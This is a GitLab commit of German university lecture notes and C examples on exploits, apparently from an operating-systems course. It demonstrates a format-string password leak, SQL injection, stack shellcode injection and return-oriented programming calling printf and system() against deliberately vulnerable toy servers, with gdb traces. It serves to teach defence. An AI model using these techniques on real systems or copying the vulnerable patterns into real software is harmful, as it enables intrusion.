Skip to content
Snippets Groups Projects
Commit e8fc7fff authored by Peter Gerwinski's avatar Peter Gerwinski
Browse files

Beispiele und Notizen 23.5.2022

parent f535caa8
No related branches found
No related tags found
No related merge requests found
Showing
with 617 additions and 0 deletions
Exploits, 10.05.2019
~~~~~~~~~~~~~~~~~~~~
Vorab:
Dies ist keine Einladung, anderer Leute Systeme anzugreifen.
Derartige Handlungen sind Straftaten.
Ich erzähle Ihnen dies, damit Sie wissen,
wie Sie sich gegen derartige Angriffe verteidigen können.
Um es gleich vorwegzunehmen:
Gewöhnen Sie sich von vorneherein an,
sauber und ordentlich zu programmieren.
Anleitungen für Exploits:
http://www.computersecuritystudent.com/SECURITY_TOOLS/BUFFER_OVERFLOW/WINDOWS_APPS/lesson1/index.html
http://www.thesprawl.org/research/exploit-exercises-protostar-stack/
Literatur:
Jon Erickson: Hacking: The Art of Exploitation.
No Starch Press, 2003. ISBN: 1-59327-007-0
Anleitung für den GNU-Debugger (gdb):
http://beej.us/guide/bggdb/
Formatstring-Angriff:
printf (user_string) für Exploit nutzen: %016llx
Server, der Passwort auf dem Stack speichert --> server-0.c
$ ./server-0
Your name, please: %016llx %016llx %016llx %016llx %016llx %016llx %016llx %016llx
Hello, 00000000004007c7 00007fdb2ced2df0 00000000004007c7 00007fdb2d0f3007
20786c6c36313025 6373316870216948 00007fdb2cbd0068 0000007265746570!
~~~~~~~~~~~~~~~~ ~~~~
Your password, please:
SQL Injection: http://xkcd.com/327/
insert into students values ('Robert', 'Lenhard', '3b');
insert into students values ('Robert'); drop table students; --', 'Lenhard', '3b');
Lösung des Problems: Escape-Sequenzen, Prepared Statements.
Damit ist es möglich, auch ungewöhnliche Zeichen in Strings aufzunehmen.
Vortrag zum Thema Namensvalidierung: https://media.ccc.de/v/rc3-channels-2020-77-your-name-is-invalid-
Noch blöder: Java-Browser-Applet enthält Passwörter im Klartext:
http://heise.de/-2812713
Buffer Overflow für Exploit nutzen: server-[123].c, exploit-*
Warum Absturz? Rücksprungadresse wird überschrieben. Blick auf den Stack.
Funktionsaufruf: Register setzen, Funktion anspringen.
Exploit: Rücksprungadresse gezielt überschreiben.
Früher möglich: Programm in den Stack schreiben, dorthin springen.
Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR)
Return Oriented Programming erforderlich
genauer: return-to-libc; noch genauer: return-to-plt
Gezielt Winz-Funktionen anspringen, um Register zu setzen,
danach Programm- und Bibliotheksfunktionen anspringen.
Warum stürzt server-1.c ab, wenn der Name zu lang ist? 23.05.2022, 13:05:49
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Quelltext: server-1.c
#include <stdio.h>
int main (void)
{
char buffer[20];
printf ("Your name, please: ");
gets (buffer);
printf ("Hello, %s!\n", buffer);
return 0;
}
Eingegebener Name: "Prof. Dr. rer. nat. Dipl.-Phys. Peter Gerwinski"
Puffer-Länge: 20 bis hierhin ^ steht über ^
Debugger, unmittelbar nach dem Absturz:
┌──server-1.c────────────────────────────────────────────────────────────────────────────┐
│4 { │
B+ │5 char buffer[20]; │
│6 printf ("Your name, please: "); │
│7 gets (buffer); │
│8 printf ("Hello, %s!\n", buffer); │
>│9 return 0; │
│10 } │
│11 │
│12 │
│13 │
│14 │
│15 │
│16 │
┌────────────────────────────────────────────────────────────────────────────────────────┐
│0x555555555166 <main+33> callq 0x555555555040 <gets@plt> │
│0x55555555516b <main+38> mov %rbx,%rsi │
│0x55555555516e <main+41> lea 0xea3(%rip),%rdi # 0x555555556018 │
│0x555555555175 <main+48> mov $0x0,%eax │
│0x55555555517a <main+53> callq 0x555555555030 <printf@plt> │
│0x55555555517f <main+58> mov $0x0,%eax │
│0x555555555184 <main+63> add $0x20,%rsp │
│0x555555555188 <main+67> pop %rbx │
>│0x555555555189 <main+68> retq │
│0x55555555518a nopw 0x0(%rax,%rax,1) │
│0x555555555190 <__libc_csu_init> push %r15 │
│0x555555555192 <__libc_csu_init+2> mov %rdx,%r15 │
│0x555555555195 <__libc_csu_init+5> push %r14 │
└────────────────────────────────────────────────────────────────────────────────────────┘
native process 27862 In: main L9 PC: 0x555555555189
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/2 0x7fffffffdf78
0x7fffffffdf78: 0x6e697772 0x00696b73
(gdb) nexti
Program received signal SIGSEGV, Segmentation fault.
0x0000555555555189 in main () at server-1.c:9
(gdb)
Nach dem Durchlauf des Programms soll das Betriebssystem wieder übernehmen.
Hierfür springt das Programm an die Speicherzelle Nr. 00696b73 6e697772 .
00696b73 6e697772 in ASCII übersetzen:
i k s n i w r
Dies sind die letzten Buchstaben mit Ende-Zeichen des eingegebenen Strings.
--> Das Programm springt an eine Stelle im Speicher, die ihm nicht gehört.
Diese Stelle ist aber nicht zufällig, sondern hängt von dem eingegebenen
String ab.
exploit-1.c:
#include <unistd.h>
#include <stdint.h>
int main (int argc, char **argv)
{
uint64_t my_program_address = 0x7fffffffdfa0;
for (int i = 0; i < 0x28; i++)
write (1, "a", 1); // zum Auffüllen, um die Rücksprung-Adresse
write (1, &my_program_address, 8); // überschreiben zu können
write (1, "I 0WN U!", 8);
for (int i = 0; i < 24; i++)
write (1, " ", 1);
write (1, "\x48\x89\xe7", 3); // mov %rsp,%rdi hierhin erfolgt der
write (1, "\xb8\x00\x00\x00\x00", 5); // mov $0x0,%eax "Rück-"Sprung
write (1, "\xe8\x26\xfe\xff\xff", 5); // callq 0x4003e0 <printf@plt>
write (1, "\xeb\xfe", 2); // while (1);
write (1, "\n", 1);
return 0;
}
Ich übergebe als "Namen" einen String, der ausführbare Programm-Fragmente
enthält (hier: printf "I 0WN U!") und überschreibe die Rücksprungadresse
derart, daß dieses Programm-Fragment anschließend ausgeführt werden soll.
┌──server-1.c────────────────────────────────────────────────────────────────────────────┐
│ │
│ │
│ │
│ │
│ │
│ │
│ [ No Source Available ] │
│ │
│ │
│ │
│ │
│ │
│ │
┌────────────────────────────────────────────────────────────────────────────────────────┐
>│0x7fffffffdfa0 mov %rsp,%rdi │
│0x7fffffffdfa3 mov $0x0,%eax │
│0x7fffffffdfa8 callq 0x7fffffffddd3 │
│0x7fffffffdfad jmp 0x7fffffffdfad │
│0x7fffffffdfaf add %ah,0x50(%rax) │
│0x7fffffffdfb2 push %rbp │
│0x7fffffffdfb3 push %rbp │
│0x7fffffffdfb4 push %rbp │
│0x7fffffffdfb5 push %rbp │
│0x7fffffffdfb6 add %al,(%rax) │
│0x7fffffffdfb8 push %rax │
│0x7fffffffdfb9 loopne 0x7fffffffdfba │
│0x7fffffffdfbb (bad) │
└────────────────────────────────────────────────────────────────────────────────────────┘
native process 30875 In: L?? PC: 0x7fffffffdfa0
fs 0x0 0
gs 0x0 0
(gdb) x/2 0x7fffffffdf78
0x7fffffffdf78: 0xffffdfa0 0x00007fff
(gdb) x/2 0x00007fffffffdfa0
0x7fffffffdfa0: 0xb8e78948 0x00000000
(gdb) disassemble 0x00007fffffffdfa0
No function contains specified address.
(gdb) x/16b 0x00007fffffffdfa0
0x7fffffffdfa0: 0x48 0x89 0xe7 0xb8 0x00 0x00 0x00 0x00
0x7fffffffdfa8: 0xe8 0x26 0xfe 0xff 0xff 0xeb 0xfe 0x00
(gdb) nexti
0x00007fffffffdfa0 in ?? ()
(gdb) nexti
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffdfa0 in ?? ()
(gdb)
Ergebnis: Der von uns eingeschleuste Code wird tatsächlich angesprungen,
dann allerdings nicht ausgeführt. Stattdessen: Speicherzugriffsfehler.
Erklärung: Der Code befindet sich auf dem Stack.
Der Stack ist aber von der Hardware als nicht-ausführbar markiert.
Beim Versuch, diesen Code auszuführen, löst der Prozessor eine
Exception aus.
(Früher funktionierten derartige Exploits.)
Auch diese Schutzfunktion kann man überwinden:
Return-Oriented Programming, 23.05.2022, 13:32:33
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
server-2.c:
#include <stdio.h>
#include <stdlib.h>
void stuff (void)
{
asm ("mov $0, %eax");
asm ("add $0x28, %rsp");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
asm ("mov %rsp, %rdi");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
asm ("add $0x20, %rdi");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
system ("clear");
exit (0);
}
int main (void)
{
char buffer[20];
printf ("Your name, please: ");
gets (buffer);
printf ("Hello, %s!\n", buffer);
return 0;
}
Das Angreifer-Programm sorgt dafür, der Befehl "mov %rsp, %rdi"
ausgeführt wird. Dies geschieht, indem es die Rücksprungadresse
darauf verweisen läßt.
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#define OVERFLOW 40
int main (int argc, char **argv)
{
uint64_t mov_rsp_rdi = 0x555555555176;
uint64_t add_offset_to_rdi = 0x55555555517d;
uint64_t dummy = 0;
uint64_t printf_address = 0x555555555040;
uint64_t exit_address = 0x555555555060;
uint8_t overflow[OVERFLOW] = "loser";
uint8_t payload[] = "I 0WN U!!1! "
" ";
write (1, overflow, sizeof (overflow));
write (1, &mov_rsp_rdi, 8);
write (1, &add_offset_to_rdi, 8);
write (1, &printf_address, 8);
write (1, &exit_address, 8);
write (1, &dummy, 8);
write (1, payload, sizeof (payload));
write (1, "\n", 1);
return 0;
}
Mit dem nächsten Rücksprung führt es dann "add $0x20, %rdi" aus.
Danach zeigt das %rdi-Register auf den String "I 0WN U!!1!".
Mit dem nächsten Rücksprung rufen wir die Funktion printf()
für diesen String auf. (Hier ist wichtig, daß sich im %eax-Register
bereits eine Null befindet. Diese kommt noch von dem "return 0;".)
Nach erfolgtem printf() ruft der nächste Rücksprung die Funktion
exit() auf, um das Programm kontrolliert zu beenden. Dabei wird
auch die Datei stdin geschlossen und der String "I 0WN U!!1"
ausgegeben.
Exploits: aktuelle Sicherheitslücke, 28.12.2016, 13:46:05
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Lücke in PHPMailer erlaubt die Ausführung fremden Codes
https://heise.de/-3582072
Exploits, 29.06.2020, 15:38:10
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Früher möglich: Programm in den Stack schreiben, dorthin springen.
Heute: Nicht-ausführbarer Stack, Address Space Layout Randomization (ASLR)
Return Oriented Programming erforderlich
genauer: return-to-libc; noch genauer: return-to-plt
Gezielt Winz-Funktionen anspringen, um Register zu setzen,
danach Programm- und Bibliotheksfunktionen anspringen.
#include <unistd.h>
#include <stdint.h>
int main (int argc, char **argv)
{
uint64_t my_program_address = 0x7fffffffdfa0;
for (int i = 0; i < 0x28; i++)
write (1, "a", 1); // zum Auffüllen, um die Rücksprung-Adresse
write (1, &my_program_address, 8); // überschreiben zu können
write (1, "I 0WN U!", 8);
for (int i = 0; i < 24; i++)
write (1, " ", 1);
write (1, "\x48\x89\xe7", 3); // mov %rsp,%rdi hierhin erfolgt der
write (1, "\xb8\x00\x00\x00\x00", 5); // mov $0x0,%eax "Rück-"Sprung
write (1, "\xe8\x26\xfe\xff\xff", 5); // callq 0x4003e0 <printf@plt>
write (1, "\xeb\xfe", 2); // while (1);
write (1, "\n", 1);
return 0;
}
File added
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#define OVERFLOW 40
int main (int argc, char **argv)
{
uint64_t mov_rsp_rdi = 0x555555555176;
uint64_t add_offset_to_rdi = 0x55555555517d;
uint64_t dummy = 0;
uint64_t printf_address = 0x555555555040;
uint64_t exit_address = 0x555555555060;
uint8_t overflow[OVERFLOW] = "loser";
uint8_t payload[] = "I 0WN U!!1! "
" ";
write (1, overflow, sizeof (overflow));
write (1, &mov_rsp_rdi, 8);
write (1, &add_offset_to_rdi, 8);
write (1, &printf_address, 8);
write (1, &exit_address, 8);
write (1, &dummy, 8);
write (1, payload, sizeof (payload));
write (1, "\n", 1);
return 0;
}
File added
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#define OVERFLOW 40
int main (int argc, char **argv)
{
uint64_t mov_rsp_rdi = 0x555555555176;
uint64_t add_offset_to_rdi = 0x55555555517d;
uint64_t dummy = 0;
uint64_t system_address = 0x555555555030; // 0x7ffff7e109c0;
uint64_t exit_address = 0x555555555060; // 0x7ffff7e04ea0;
uint8_t overflow[OVERFLOW] = "loser";
uint8_t payload[] = "gimp ../common/os-layers.xcf.gz";
write (1, overflow, sizeof (overflow));
write (1, &mov_rsp_rdi, 8);
write (1, &add_offset_to_rdi, 8);
write (1, &system_address, 8);
write (1, &exit_address, 8);
write (1, &dummy, 8);
write (1, payload, sizeof (payload));
write (1, "\n", 1);
return 0;
}
File added
#include <stdio.h>
int main (void)
{
printf ("Hello, world!\n");
return 0;
}
#include <stdio.h>
int main (void)
{
printf ("Hello, world! ");
return 0;
}
#include <stdio.h>
int main (void)
{
printf ("Die Antwort lautet: ");
printf (42);
printf ("\n");
return 0;
}
#include <stdio.h>
int main (void)
{
printf ("Die Antwort lautet: %d\n", 42);
return 0;
}
#include <stdio.h>
int main (void)
{
printf ("Der Name lautet: %s\n", "Peter");
return 0;
}
#include <stdio.h>
int main (void)
{
printf ("Der Name lautet: %s\n", "Pet%dr");
return 0;
}
#include <stdio.h>
int main (void)
{
printf ("Der Name lautet: Pet%dr\n");
return 0;
}
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main (void)
{
char name_buffer[100];
char *pass_buffer;
char username[] = "peter";
char password[] = "Hi!ph1sch";
printf ("Your name, please: ");
gets (name_buffer);
printf ("Hello, ");
printf (name_buffer);
printf ("!\n");
pass_buffer = getpass ("Your password, please: ");
if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0)
printf ("You have access.\n");
else
printf ("Login incorrect.\n");
return 0;
}
#include <stdio.h>
int main (void)
{
printf ("Der Name lautet: Pet%dr\n");
return 0;
}
cassini/home/peter/bo/2022ss/bs/20220523> gcc -Wall -O printf-05.c -o printf-05
printf-05.c: In function ‘main’:
printf-05.c:5:33: warning: format ‘%d’ expects a matching ‘int’ argument [-Wformat=]
printf ("Der Name lautet: Pet%dr\n");
~^
cassini/home/peter/bo/2022ss/bs/20220523> ./printf-05
Der Name lautet: Pet668572360r
cassini/home/peter/bo/2022ss/bs/20220523> cat server-0.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main (void)
{
char name_buffer[100];
char *pass_buffer;
char username[] = "peter";
char password[] = "Hi!ph1sch";
printf ("Your name, please: ");
gets (name_buffer);
printf ("Hello, ");
printf (name_buffer);
printf ("!\n");
pass_buffer = getpass ("Your password, please: ");
if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0)
printf ("You have access.\n");
else
printf ("Login incorrect.\n");
return 0;
}
cassini/home/peter/bo/2022ss/bs/20220523> ./server-0
Your name, please: Pet%dr
Hello, Pet1819043144r!
Your password, please:
Login incorrect.
cassini/home/peter/bo/2022ss/bs/20220523> ./server-0
Your name, please: %016llx %016llx %016llx %016llx %016llx %016llx %016llx %016llx
Hello, 000000006c6c6548 00007fdc518588c0 0000000000000000 00007fdc5185d500
0000000000000000 6373316870216948 0072657465700068 20786c6c36313025!
Your password, please:
000000006c6c6548 = "Hell"
6373316870216948 = "Hi!ph1sc"
0072657465700068 = "h"
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main (void)
{
char name_buffer[100];
char *pass_buffer;
char username[] = "peter";
char password[] = "Hi!ph1sch";
printf ("Your name, please: ");
gets (name_buffer);
printf ("Hello, %s!\n", name_buffer);
pass_buffer = getpass ("Your password, please: ");
if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0)
printf ("You have access.\n");
else
printf ("Login incorrect.\n");
return 0;
}
#include <stdio.h>
int main (void)
{
char buffer[20];
printf ("Your name, please: ");
gets (buffer);
printf ("Hello, %s!\n", buffer);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
void stuff (void)
{
asm ("mov $0, %eax");
asm ("add $0x28, %rsp");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
asm ("mov %rsp, %rdi");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
asm ("add $0x20, %rdi");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
system ("clear");
exit (0);
}
int main (void)
{
char buffer[20];
printf ("Your name, please: ");
gets (buffer);
printf ("Hello, %s!\n", buffer);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
void stuff (void)
{
asm ("mov $0, %eax");
asm ("add $0x28, %rsp");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
asm ("mov %rsp, %rdi");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
asm ("add $0x20, %rdi");
asm ("ret");
asm ("nop");
asm ("nop");
asm ("nop");
system ("clear");
exit (0);
}
int main (void)
{
char buffer[20];
printf ("Your name, please: ");
fgets (buffer, 20, stdin);
printf ("Hello, %s!\n", buffer);
return 0;
}
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment